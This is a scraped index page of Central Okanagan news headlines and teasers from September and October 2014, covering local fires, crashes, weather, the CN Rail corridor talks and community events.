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Central Okanagan News

Garage goes up in flames

Garage goes up in flames

Oct 1, 2014 / 4:15 pm

4:45 p.m. update: Glenmore is now open to traffic. The route was closed for over two hours while crews battled a shop fire. 4 p.m. update: A Kelowna...

Top crash sites

Top crash sites

Oct 1, 2014 / 7:06 am

After consultation with some of its detachment members, the Kelowna RCMP have identified a number of high-collision intersections in the Okanagan. The police...

Excess speed costs man his truck

Excess speed costs man his truck

Oct 1, 2014 / 5:00 am

A 23-year-old Terrace man found out the hard way that it pays to be aware of your surroundings. The man has lost his vehicle for seven days and also faces a...

Chef unCorx new bistro

Chef unCorx new bistro

Summerland Sep 30, 2014 / 1:26 pm

Local celebrity chef Kaila Klassen is back in the kitchen, joining Bonitas Winery in a new restaurant venture. CORX + BRIX Bistro, with new head chef Klassen...

CN talks, no deal yet

CN talks, no deal yet

Sep 30, 2014 / 11:58 am

A deal to purchase the abandoned CN Rail corridor between Kelowna and Vernon is not close to being completed. That according to Doug Gilchrist, Kelowna Real...

Castanet's weekly weather

Castanet's weekly weather

Sep 29, 2014 / 5:00 am

This week looks like it goes all over the place from a high of 14 degrees Celsius one day to sunny and 20 degrees another. Check out the full week here. ...

Man injured in quad rollover

Man injured in quad rollover

Sep 28, 2014 / 9:06 pm

A man has been sent to hospital after his quad rolled over while riding near Wood Lake. Fire dispatch confirmed that crews are still on scene, although the...

Castanet's week in review

Castanet's week in review

Sep 28, 2014 / 5:00 am

Castanet's week in review with Jen Zielinski. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Tech makes permits easy

Tech makes permits easy

Lake Country Sep 27, 2014 / 9:07 am

A mobile app is being lauded by the District of Lake Country for streamlining the building permit process. Building permits are issued in accordance with the...

OK Lake becomes fire hydrant

OK Lake becomes fire hydrant

Sep 26, 2014 / 3:37 pm

The North Westside Fire Rescue department put its Marine Mobile Water Supply Vessel through its paces last month, with the goal of gaining accreditation for its...

Man missing since December

Man missing since December

Sep 26, 2014 / 10:30 am

UPDATE 10:30 A.M. SEPT 26 Police continue to seek the public's assistance in the search for Terrance Landon. There is no new information at this time but a...

Talks continue with CN

Talks continue with CN

Sep 25, 2014 / 2:43 pm

Still nothing definitive as the clock ticks towards an Oct. 6 deadline for municipalities to make an offer to CN Rail to purchase the now defunct line between...

Hydroplaning causes crash

Hydroplaning causes crash

Sep 24, 2014 / 5:15 pm

The driver of a white mustang is lucky to be alive after hydroplaning on the connector and flipping into a ditch, destroying his car. The accident occurred...

Girl Guides help clean shores

Girl Guides help clean shores

Sep 24, 2014 / 11:13 am

This past weekend in cities all across Canada, volunteers got together to make a difference and clean up their natural environment around lakes, rivers and...

Boat flips and sinks

Boat flips and sinks

Peachland Sep 24, 2014 / 10:32 am

An Okanagan boat owner had to abandon ship after a late night boating mishap on Sunday near the dog beach in Peachland. RCMP Cst. Kris Clark says the boat owner...

Spectacular lightning show

Spectacular lightning show

Sep 23, 2014 / 1:03 pm

It's being described as the most intense lightning storm to pass through the Okanagan this year. If you happened to be awake between about 2:30 a.m. and...

Castanet's weekly weather

Castanet's weekly weather

Sep 22, 2014 / 5:00 am

This week looks rainy and cloudy, with a few days of warmth thrown in, just to remind us that summer was so recently here. Check out the forecast here: ...

Firefighters fill boots w cash

Firefighters fill boots w cash

Sep 21, 2014 / 8:26 am

Firefighters throughout the Okanagan are joining forces to raise money for Muscular Dystrophy Canada. Penticton, Vernon, Kelowna, West Kelowna, and Salmon Arm...

Castanet's week in review

Castanet's week in review

Sep 21, 2014 / 5:00 am

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Mad about gas? You're to blame

Mad about gas? You're to blame

Sep 19, 2014 / 8:26 pm

Drivers in the South Okanagan might be wondering why gas is more expensive for them compared to other areas of the valley. It turns out, it could be their own...

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